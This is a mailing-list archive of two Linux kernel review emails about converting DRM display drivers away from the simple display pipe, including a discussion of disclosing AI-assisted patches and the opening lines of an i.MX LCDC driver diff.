 (envelope-from <tzimmermann@suse.de>)
 id 6a4e4599-2eae-0a2a0a5409dd-0a2a450b860a-38
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 14:42:18 +0200
Received: from [195.135.223.130] (helo=smtp-out1.suse.de)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <tzimmermann@suse.de>)
 id 6a4e45aa-ac48-0a2a450b0019-c387df82c342-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 14:42:18 +0200
Received: from imap1.dmz-prg2.suse.org (imap1.dmz-prg2.suse.org
 [IPv6:2a07:de40:b281:104:10:150:64:97])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by smtp-out1.suse.de (Postfix) with ESMTPS id 0871876077;
 Wed,  8 Jul 2026 12:42:17 +0000 (UTC)
Received: from imap1.dmz-prg2.suse.org (localhost [127.0.0.1])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by imap1.dmz-prg2.suse.org (Postfix) with ESMTPS id 79341779AE;
 Wed,  8 Jul 2026 12:42:16 +0000 (UTC)
Received: from dovecot-director2.suse.de ([2a07:de40:b281:106:10:150:64:167])
 by imap1.dmz-prg2.suse.org with ESMTPSA id m8AlHKhFTmqiFgAAD6G6ig
 (envelope-from <tzimmermann@suse.de>); Wed, 08 Jul 2026 12:42:16 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=susede2_rsa header.d=suse.de header.i="@suse.de" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References:Autocrypt"; dkim=permerror header.s=susede2_ed25519 header.d=suse.de header.i="@suse.de"; dkim=pass header.s=susede2_rsa header.d=suse.de header.i="@suse.de" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References:Autocrypt"; dkim=permerror header.s=susede2_ed25519 header.d=suse.de header.i="@suse.de"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.de; s=susede2_rsa;
	t=1783514538; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;
	bh=X5dzTTCatZZvkmE8q15IV7Lpko/hPbN5TdQoKiurduA=;
	b=dUEBh06fNWTd2m8I8EOJluGoLByyD9XOlJ3przweVPZbhz6VZ7S1zsjn7DFg7zULfjPWm2
	QnUpa1SkvgpZNH8hINzV8CAg1WtIfcJ1K0UzREvU38I4qdLzy/5uxYICxq1/MxFMLt48u7
	cd3RpJS8rOX114IaN/X9ePsGlBoy+9U=
DKIM-Signature: v=1; a=ed25519-sha256; c=relaxed/relaxed; d=suse.de;
	s=susede2_ed25519; t=1783514538;
	h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;
	bh=X5dzTTCatZZvkmE8q15IV7Lpko/hPbN5TdQoKiurduA=;
	b=liIbm3A1PHJAFrQqgluRDTsuHQKsA2UoHIJFH7AOynoG8lo5e9afqxGlIUN3trUGQ0IuTo
	0/NfJkRIeI7DY6AQ==
Authentication-Results: smtp-out1.suse.de;
	dkim=pass header.d=suse.de header.s=susede2_rsa header.b=UK6WQbby;
	dkim=pass header.d=suse.de header.s=susede2_ed25519 header.b=Kz3KMMhw
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.de; s=susede2_rsa;
	t=1783514537; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;
	bh=X5dzTTCatZZvkmE8q15IV7Lpko/hPbN5TdQoKiurduA=;
	b=UK6WQbby0uEoeFln5BDlhQtliE8Q+fOlMQaTPyWNztP1ofk9W69/pu9fLxccGUy43ajOcY
	sFExOrJ7vDTzkIXuhRFtmdEVPT0e0E70KiR4kZ6gA9uXvWtg5nI8Ag9nSKiW97SUuXd9DE
	y5QBxIf27c42uswsjGAUK9oMjo2v2I4=
DKIM-Signature: v=1; a=ed25519-sha256; c=relaxed/relaxed; d=suse.de;
	s=susede2_ed25519; t=1783514537;
	h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;
	bh=X5dzTTCatZZvkmE8q15IV7Lpko/hPbN5TdQoKiurduA=;
	b=Kz3KMMhwjoyhH/AzT1OYB8kEQJge7Pt0/4KgWomD22Kc2swil+/M3DLVAh4str1zTv5f0F
	9UNXwy3W8vz0V9BQ==
Message-ID: <3abfae37-770c-49bf-ba1c-98bd6b0b52bc@suse.de>
Date: Wed, 8 Jul 2026 14:42:15 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 0/9] drm: replace simple display pipe users with atomic
 helpers
To: Ze Huang <ze.huang@oss.qualcomm.com>,
 Alexey Brodkin <abrodkin@synopsys.com>,
 Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
 Maxime Ripard <mripard@kernel.org>, David Airlie <airlied@gmail.com>,
 Simona Vetter <simona@ffwll.ch>, Joel Stanley <joel@jms.id.au>,
 Andrew Jeffery <andrew@codeconstruct.com.au>, Frank Li <Frank.Li@nxp.com>,
 Sascha Hauer <s.hauer@pengutronix.de>,
 Pengutronix Kernel Team <kernel@pengutronix.de>,
 Fabio Estevam <festevam@gmail.com>, Linus Walleij <linusw@kernel.org>,
 Hans de Goede <hansg@kernel.org>, Alex Lanzano <lanzano.alex@gmail.com>,
 Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>
Cc: dri-devel@lists.freedesktop.org, linux-kernel@vger.kernel.org,
 linux-aspeed@lists.ozlabs.org, linux-arm-kernel@lists.infradead.org,
 imx@lists.linux.dev, xen-devel@lists.xenproject.org
References: <20260705-drm-simple-kms-removal-v1-0-b4e1ca053623@oss.qualcomm.com>
 <9612bb41-db52-4169-a7fa-e57268d69e24@suse.de>
 <DJRCCWQOT4TA.1OPAZI88KOWLW@oss.qualcomm.com>
Content-Language: en-US
From: Thomas Zimmermann <tzimmermann@suse.de>
Autocrypt: addr=tzimmermann@suse.de; keydata=
 xsBNBFs50uABCADEHPidWt974CaxBVbrIBwqcq/WURinJ3+2WlIrKWspiP83vfZKaXhFYsdg
 XH47fDVbPPj+d6tQrw5lPQCyqjwrCPYnq3WlIBnGPJ4/jreTL6V+qfKRDlGLWFjZcsrPJGE0
 BeB5BbqP5erN1qylK9i3gPoQjXGhpBpQYwRrEyQyjuvk+Ev0K1Jc5tVDeJAuau3TGNgah4Yc
 hdHm3bkPjz9EErV85RwvImQ1dptvx6s7xzwXTgGAsaYZsL8WCwDaTuqFa1d1jjlaxg6+tZsB
 9GluwvIhSezPgnEmimZDkGnZRRSFiGP8yjqTjjWuf0bSj5rUnTGiyLyRZRNGcXmu6hjlABEB
 AAHN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S0rx/aMwi6VhFJA5hfn3T0TtrijKP4A
 SAQO9xD1Zk9/61JWk8OysuIh7MXkl0fxbRKWE93XeQBhIJHQfnc+YBLprdnxR446Sh8Wn/2D
 Ya8cavuWf2zrB6cZurs048xe0UbSW5AOSo4V9M0jzYI4nZqTmPxYyXbm30Kvmz0rYVRaitYJ
 4kyYYMhuULvrJDMjZRvaNe52tkKAvMevcGdt38H4KSVXAylqyQOW5zvPc4/sq9c=
In-Reply-To: <DJRCCWQOT4TA.1OPAZI88KOWLW@oss.qualcomm.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Rspamd-Action: no action
X-Rspamd-Queue-Id: 0871876077
X-Spam-Flag: NO
X-Spam-Score: -3.01
X-Spam-Level: 
X-Spamd-Result: default: False [-3.01 / 50.00];
	BAYES_HAM(-3.00)[100.00%];
	SUSPICIOUS_RECIPS(1.50)[];
	NEURAL_HAM_LONG(-1.00)[-1.000];
	R_DKIM_ALLOW(-0.20)[suse.de:s=susede2_rsa,suse.de:s=susede2_ed25519];
	NEURAL_HAM_SHORT(-0.20)[-1.000];
	MIME_GOOD(-0.10)[text/plain];
	MX_GOOD(-0.01)[];
	TO_MATCH_ENVRCPT_ALL(0.00)[];
	DKIM_SIGNED(0.00)[suse.de:s=susede2_rsa,suse.de:s=susede2_ed25519];
	RBL_SPAMHAUS_BLOCKED_OPENRESOLVER(0.00)[2a07:de40:b281:104:10:150:64:97:from];
	FUZZY_RATELIMITED(0.00)[rspamd.com];
	RCPT_COUNT_TWELVE(0.00)[22];
	FREEMAIL_TO(0.00)[oss.qualcomm.com,synopsys.com,linux.intel.com,kernel.org,gmail.com,ffwll.ch,jms.id.au,codeconstruct.com.au,nxp.com,pengutronix.de,epam.com];
	MIME_TRACE(0.00)[0:+];
	ARC_NA(0.00)[];
	FREEMAIL_ENVRCPT(0.00)[gmail.com];
	RCVD_TLS_ALL(0.00)[];
	DKIM_TRACE(0.00)[suse.de:+];
	RCVD_COUNT_TWO(0.00)[2];
	FROM_EQ_ENVFROM(0.00)[];
	FROM_HAS_DN(0.00)[];
	TO_DN_SOME(0.00)[];
	DNSWL_BLOCKED(0.00)[2a07:de40:b281:104:10:150:64:97:from];
	RECEIVED_SPAMHAUS_BLOCKED_OPENRESOLVER(0.00)[2a07:de40:b281:106:10:150:64:167:received];
	MID_RHS_MATCH_FROM(0.00)[];
	RCVD_VIA_SMTP_AUTH(0.00)[];
	TAGGED_RCPT(0.00)[];
	DBL_BLOCKED_OPENRESOLVER(0.00)[suse.com:url,imap1.dmz-prg2.suse.org:rdns,imap1.dmz-prg2.suse.org:helo,suse.de:mid,suse.de:dkim]
X-Rspamd-Server: rspamd1.dmz-prg2.suse.org
X-purgate-ID: tlsNG-42698a/1783514538-A733C220-92F50856/0/0
X-purgate-type: clean
X-purgate-size: 3650

Hi

Am 06.07.26 um 10:22 schrieb Ze Huang:
> On Mon Jul 6, 2026 at 3:27 PM CST, Thomas Zimmermann wrote:
>> Hi
>>
>> Am 04.07.26 um 20:31 schrieb Ze Huang:
>>> struct drm_simple_display_pipe was meant to simplify simple DRM
>>> drivers, but instead adds an extra wrapper around normal DRM atomic
>>> helper setup. As noted in Documentation/gpu/todo.rst, remaining users
>>> should be converted to regular atomic helpers and stop depending on the
>>> simple-KMS interfaces.
>>>
>>> This series converts the following drivers:
>>>
>>>     - arcpgu
>>>     - aspeed
>>>     - imx lcdc
>>>     - mcde
>>>     - pl111
>>>     - gm12u320
>>>     - repaper
>>>     - tve200
>>>     - xen frontend
>>>
>>> Each patch replaces drm_simple_display_pipe_init() with explicit
>>> primary plane, CRTC and encoder setup, and moves the old simple-pipe
>>> callbacks into regular plane and CRTC helper callbacks named according
>>> to local driver conventions.
>>>
>>> The conversions preserve helper behavior that used to be implicit in
>>> drm_simple_kms_helper.c, including plane-state validation, CRTC
>>> primary-plane checks, affected-plane propagation, framebuffer prepare
>>> handling, and existing event/vblank flow where applicable.
>>>
>>> Result is less helper indirection and more explicit driver-side atomic
>>> wiring, with no remaining simple-KMS dependency in these drivers.
>>>
>>> These changes are build-tested only. No hardware testing has been
>>> performed on the affected devices.
>> Thanks a lot for the series. That's quite a nice cleanup.Â  Did you use
>> any AI to create these patches?
>>
> Hi Thomas,
>
> Yes, I did. I wrote the first two conversion patches (arcpgu and
> aspeed) myself to understand the migration pattern. For the remaining
> drivers, I used GPT-5.5 to help with the repetitive boilerplate
> conversion.
>
> I should have reviewed the generated code more carefully before sending
> the series. The sashiko-bot feedback shows that I missed several important
> details, including commit-local state handling, the implicit NULL fb /
> visibility checks from simple-KMS, and vblank/pageflip event ordering.
> I am now going through these issues more carefully and working out the
> correct fixes before sending a v2.

Great, thanks.

The drivers you've picked are somewhat under-maintained, but I'll take a 
look at your submissions.


>
> Do you expect AI assistance to be mentioned in the cover letter or commit
> messages in some specific form? If there is a preferred tag or wording
> for this, I will use it in v2.

See Documentation/process/coding-assistents.rst for how to mark AI-made 
patches.Â  Although not everyone agrees that it's a good idea.Â  IMHO you 
should mention AI usage in the cover letter.


>
> For issues that appear to be pre-existing but are exposed or carried over
> by the migration, which is better?

It's probably better to not bother about pre-existing issues for now.Â  
Those are a rabbit hole.Â  If you're looking for follow-up patches to do. 
You're welcome to address them.


>
> 1. Include them as separate prep/fix patches at the beginning of the v2
> series, before the corresponding conversion patches; or
> 2. address those pre-existing issues in a separate follow-up series?
>
> Thanks for your time and review. :)
>
>> Best regards
>> Thomas
>>
> Best regards,
> Ze

-- 
--
Thomas Zimmermann
Graphics Driver Developer
SUSE Software Solutions Germany GmbH
Frankenstr. 146, 90461 NÃ¼rnberg, Germany, www.suse.com
GF: Jochen Jaser, Andrew McDonald, (HRB 36809, AG NÃ¼rnberg)




From xen-devel-bounces@lists.xenproject.org Wed Jul 08 12:44:18 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 12:44:18 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356961.1611472 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whRdR-0007i6-9F; Wed, 08 Jul 2026 12:44:17 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356961.1611472; Wed, 08 Jul 2026 12:44:17 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whRdR-0007hz-5G; Wed, 08 Jul 2026 12:44:17 +0000
Received: by outflank-mailman (input) for mailman id 1356961;
 Wed, 08 Jul 2026 12:44:16 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <tzimmermann@suse.de>) id 1whRdP-0007hq-Vg
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 12:44:16 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whRdP-0004gw-By
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 14:44:15 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <tzimmermann@suse.de>)
 id 6a4e461e-5cb7-0a2a0a5109dd-0a2a450cbf8e-2
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 14:44:15 +0200
Received: from [195.135.223.131] (helo=smtp-out2.suse.de)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <tzimmermann@suse.de>)
 id 6a4e461e-f399-0a2a450c0019-c387df83854e-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 14:44:14 +0200
Received: from imap1.dmz-prg2.suse.org (unknown [10.150.64.97])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by smtp-out2.suse.de (Postfix) with ESMTPS id 895847587E;
 Wed,  8 Jul 2026 12:44:12 +0000 (UTC)
Received: from imap1.dmz-prg2.suse.org (localhost [127.0.0.1])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by imap1.dmz-prg2.suse.org (Postfix) with ESMTPS id E49F2779AE;
 Wed,  8 Jul 2026 12:44:11 +0000 (UTC)
Received: from dovecot-director2.suse.de ([2a07:de40:b281:106:10:150:64:167])
 by imap1.dmz-prg2.suse.org with ESMTPSA id a8ljNhtGTmq8GAAAD6G6ig
 (envelope-from <tzimmermann@suse.de>); Wed, 08 Jul 2026 12:44:11 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=susede2_rsa header.d=suse.de header.i="@suse.de" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References:Autocrypt"; dkim=permerror header.s=susede2_ed25519 header.d=suse.de header.i="@suse.de"; dkim=pass header.s=susede2_rsa header.d=suse.de header.i="@suse.de" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References:Autocrypt"; dkim=permerror header.s=susede2_ed25519 header.d=suse.de header.i="@suse.de"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.de; s=susede2_rsa;
	t=1783514654; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;
	bh=hDF+/OTRPKVzsa0KeAPg8wf1kzxM6JSavTh2UwnGYsY=;
	b=ODioz/aM0QFgAXmqpD/oUA9HB3yB9M/Bl1c9MNyVxw/fvF14YGY/IleiHweFd/cgga9Frk
	ImfYsUYa3sSKBL1E/XjdTmdhUp82jHXWxcUjIAXbj691vjSApUzs/lRkJI7yGKcK2K3pcO
	MVCF1f6L9qz0daiwE40hW4gTHxUYCDk=
DKIM-Signature: v=1; a=ed25519-sha256; c=relaxed/relaxed; d=suse.de;
	s=susede2_ed25519; t=1783514654;
	h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;
	bh=hDF+/OTRPKVzsa0KeAPg8wf1kzxM6JSavTh2UwnGYsY=;
	b=K2zuVha/qKYTnseDH6XD1GPQmAWxSfn1sZNQSDTMShoOZRQ8cku5+qVTc0Cb9/+bFz2hRb
	/l/AsPPGrN9YGtAg==
Authentication-Results: smtp-out2.suse.de;
	none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.de; s=susede2_rsa;
	t=1783514652; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;
	bh=hDF+/OTRPKVzsa0KeAPg8wf1kzxM6JSavTh2UwnGYsY=;
	b=h6exN740bbdw6hpDzzBYDkmQzHiitjpwb0W2hCr3rvLIdOBfFhDJ6dPgqvwSYe/+tXLLuc
	6EB3may42kikv5x1Tsi3iZkYrqYme9PxOMrRFn5Qtezmer1oci88vBUhkrVKSPRF0UN+Vr
	ueZBatEhC8Cp/v8hNzPiVBoyFiLR6k0=
DKIM-Signature: v=1; a=ed25519-sha256; c=relaxed/relaxed; d=suse.de;
	s=susede2_ed25519; t=1783514652;
	h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;
	bh=hDF+/OTRPKVzsa0KeAPg8wf1kzxM6JSavTh2UwnGYsY=;
	b=HUeeAx+WjTStqntL0Yt2VJ6IqQBhpd7QXppSm9VZ2Wt/Y+bIwkmbfJAZj2reBWX366tT5a
	bQDisnohF0X7K1Ag==
Message-ID: <1c84099b-6f0d-4655-9aea-015a821b50db@suse.de>
Date: Wed, 8 Jul 2026 14:44:11 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 3/9] drm/imx: replace struct drm_simple_display_pipe with
 regular atomic helpers
To: Ze Huang <ze.huang@oss.qualcomm.com>,
 Alexey Brodkin <abrodkin@synopsys.com>,
 Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
 Maxime Ripard <mripard@kernel.org>, David Airlie <airlied@gmail.com>,
 Simona Vetter <simona@ffwll.ch>, Joel Stanley <joel@jms.id.au>,
 Andrew Jeffery <andrew@codeconstruct.com.au>, Frank Li <Frank.Li@nxp.com>,
 Sascha Hauer <s.hauer@pengutronix.de>,
 Pengutronix Kernel Team <kernel@pengutronix.de>,
 Fabio Estevam <festevam@gmail.com>, Linus Walleij <linusw@kernel.org>,
 Hans de Goede <hansg@kernel.org>, Alex Lanzano <lanzano.alex@gmail.com>,
 Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>
Cc: dri-devel@lists.freedesktop.org, linux-kernel@vger.kernel.org,
 linux-aspeed@lists.ozlabs.org, linux-arm-kernel@lists.infradead.org,
 imx@lists.linux.dev, xen-devel@lists.xenproject.org
References: <20260705-drm-simple-kms-removal-v1-0-b4e1ca053623@oss.qualcomm.com>
 <20260705-drm-simple-kms-removal-v1-3-b4e1ca053623@oss.qualcomm.com>
Content-Language: en-US
From: Thomas Zimmermann <tzimmermann@suse.de>
Autocrypt: addr=tzimmermann@suse.de; keydata=
 xsBNBFs50uABCADEHPidWt974CaxBVbrIBwqcq/WURinJ3+2WlIrKWspiP83vfZKaXhFYsdg
 XH47fDVbPPj+d6tQrw5lPQCyqjwrCPYnq3WlIBnGPJ4/jreTL6V+qfKRDlGLWFjZcsrPJGE0
 BeB5BbqP5erN1qylK9i3gPoQjXGhpBpQYwRrEyQyjuvk+Ev0K1Jc5tVDeJAuau3TGNgah4Yc
 hdHm3bkPjz9EErV85RwvImQ1dptvx6s7xzwXTgGAsaYZsL8WCwDaTuqFa1d1jjlaxg6+tZsB
 9GluwvIhSezPgnEmimZDkGnZRRSFiGP8yjqTjjWuf0bSj5rUnTGiyLyRZRNGcXmu6hjlABEB
 AAHNJ1Rob21hcyBaaW1tZXJtYW5uIDx0emltbWVybWFubkBzdXNlLmRlPsLAjgQTAQgAOAIb
 AwULCQgHAgYVCgkICwIEFgIDAQIeAQIXgBYhBHIX+6yM6c9jRKFo5WgNwR1TC3ojBQJftODH
 AAoJEGgNwR1TC3ojx1wH/0hKGWugiqDgLNXLRD/4TfHBEKmxIrmfu9Z5t7vwUKfwhFL6hqvo
 lXPJJKQpQ2z8+X2vZm/slsLn7J1yjrOsoJhKABDi+3QWWSGkaGwRJAdPVVyJMfJRNNNIKwVb
 U6B1BkX2XDKDGffF4TxlOpSQzdtNI/9gleOoUA8+jy8knnDYzjBNOZqLG2FuTdicBXblz0Mf
 vg41gd9kCwYXDnD91rJU8tzylXv03E75NCaTxTM+FBXPmsAVYQ4GYhhgFt8S2UWMoaaABLDe
 7l5FdnLdDEcbmd8uLU2CaG4W2cLrUaI4jz2XbkcPQkqTQ3EB67hYkjiEE6Zy3ggOitiQGcqp
 j//OwE0EWznS4AEIAMYmP4M/V+T5RY5at/g7rUdNsLhWv1APYrh9RQefODYHrNRHUE9eosYb
 T6XMryR9hT8XlGOYRwKWwiQBoWSDiTMo/Xi29jUnn4BXfI2px2DTXwc22LKtLAgTRjP+qbU6
 3Y0xnQN29UGDbYgyyK51DW3H0If2a3JNsheAAK+Xc9baj0LGIc8T9uiEWHBnCH+RdhgATnWW
 GKdDegUR5BkDfDg5O/FISymJBHx2Dyoklv5g4BzkgqTqwmaYzsl8UxZKvbaxq0zbehDda8lv
 hFXodNFMAgTLJlLuDYOGLK2AwbrS3Sp0AEbkpdJBb44qVlGm5bApZouHeJ/+n+7r12+lqdsA
 EQEAAcLAdgQYAQgAIAIbDBYhBHIX+6yM6c9jRKFo5WgNwR1TC3ojBQJftOH6AAoJEGgNwR1T
 C3ojVSkIALpAPkIJPQoURPb1VWjh34l0HlglmYHvZszJWTXYwavHR8+k6Baa6H7ufXNQtThR
 yIxJrQLW6rV5lm7TjhffEhxVCn37+cg0zZ3j7zIsSS0rx/aMwi6VhFJA5hfn3T0TtrijKP4A
 SAQO9xD1Zk9/61JWk8OysuIh7MXkl0fxbRKWE93XeQBhIJHQfnc+YBLprdnxR446Sh8Wn/2D
 Ya8cavuWf2zrB6cZurs048xe0UbSW5AOSo4V9M0jzYI4nZqTmPxYyXbm30Kvmz0rYVRaitYJ
 4kyYYMhuULvrJDMjZRvaNe52tkKAvMevcGdt38H4KSVXAylqyQOW5zvPc4/sq9c=
In-Reply-To: <20260705-drm-simple-kms-removal-v1-3-b4e1ca053623@oss.qualcomm.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Spam-Flag: NO
X-Spamd-Result: default: False [-2.80 / 50.00];
	BAYES_HAM(-3.00)[100.00%];
	SUSPICIOUS_RECIPS(1.50)[];
	NEURAL_HAM_LONG(-1.00)[-1.000];
	NEURAL_HAM_SHORT(-0.20)[-1.000];
	MIME_GOOD(-0.10)[text/plain];
	TAGGED_RCPT(0.00)[];
	FUZZY_RATELIMITED(0.00)[rspamd.com];
	MIME_TRACE(0.00)[0:+];
	RCPT_COUNT_TWELVE(0.00)[22];
	ARC_NA(0.00)[];
	RCVD_VIA_SMTP_AUTH(0.00)[];
	FREEMAIL_TO(0.00)[oss.qualcomm.com,synopsys.com,linux.intel.com,kernel.org,gmail.com,ffwll.ch,jms.id.au,codeconstruct.com.au,nxp.com,pengutronix.de,epam.com];
	FREEMAIL_ENVRCPT(0.00)[gmail.com];
	TO_DN_SOME(0.00)[];
	FROM_EQ_ENVFROM(0.00)[];
	FROM_HAS_DN(0.00)[];
	MID_RHS_MATCH_FROM(0.00)[];
	RCVD_TLS_ALL(0.00)[];
	RCVD_COUNT_TWO(0.00)[2];
	TO_MATCH_ENVRCPT_ALL(0.00)[];
	DKIM_SIGNED(0.00)[suse.de:s=susede2_rsa,suse.de:s=susede2_ed25519];
	DBL_BLOCKED_OPENRESOLVER(0.00)[suse.de:mid,imap1.dmz-prg2.suse.org:helo,qualcomm.com:email,i.mx:url,suse.com:url]
X-Spam-Level: 
X-Spam-Score: -2.80
X-purgate-ID: tlsNG-d25034/1783514654-90110D51-01F11462/0/0
X-purgate-type: clean
X-purgate-size: 13657

Hi,

the imx driver is well maintained IIRC. I'd advise you to split off this 
patch from the series and send it out separately. That is more likely to 
catch the attention of the driver's maintainers.

Best regards
Thomas

Am 04.07.26 um 20:31 schrieb Ze Huang:
> Convert i.MX LCDC to explicit primary plane, CRTC and encoder objects.
>
> Keep no-scaling plane check and GEM framebuffer prepare callback from
> simple-KMS path. Only touch hardware state when framebuffer exists,
> since atomic plane updates can run on disabling transitions.
>
> Signed-off-by: Ze Huang <ze.huang@oss.qualcomm.com>
> ---
>   drivers/gpu/drm/imx/lcdc/imx-lcdc.c | 178 ++++++++++++++++++++++++++----------
>   1 file changed, 130 insertions(+), 48 deletions(-)
>
> diff --git a/drivers/gpu/drm/imx/lcdc/imx-lcdc.c b/drivers/gpu/drm/imx/lcdc/imx-lcdc.c
> index f52832b43aca..d091dc562098 100644
> --- a/drivers/gpu/drm/imx/lcdc/imx-lcdc.c
> +++ b/drivers/gpu/drm/imx/lcdc/imx-lcdc.c
> @@ -14,9 +14,9 @@
>   #include <drm/drm_gem_dma_helper.h>
>   #include <drm/drm_gem_framebuffer_helper.h>
>   #include <drm/drm_of.h>
> +#include <drm/drm_plane_helper.h>
>   #include <drm/drm_print.h>
>   #include <drm/drm_probe_helper.h>
> -#include <drm/drm_simple_kms_helper.h>
>   #include <drm/drm_vblank.h>
>   #include <linux/bitfield.h>
>   #include <linux/clk.h>
> @@ -102,7 +102,9 @@
>   
>   struct imx_lcdc {
>   	struct drm_device drm;
> -	struct drm_simple_display_pipe pipe;
> +	struct drm_plane plane;
> +	struct drm_crtc crtc;
> +	struct drm_encoder encoder;
>   	struct drm_connector *connector;
>   	void __iomem *base;
>   
> @@ -135,14 +137,13 @@ static unsigned int imx_lcdc_get_format(unsigned int drm_format)
>   	}
>   }
>   
> -static void imx_lcdc_update_hw_registers(struct drm_simple_display_pipe *pipe,
> +static void imx_lcdc_update_hw_registers(struct drm_crtc *crtc,
>   					 struct drm_plane_state *old_state,
>   					 bool mode_set)
>   {
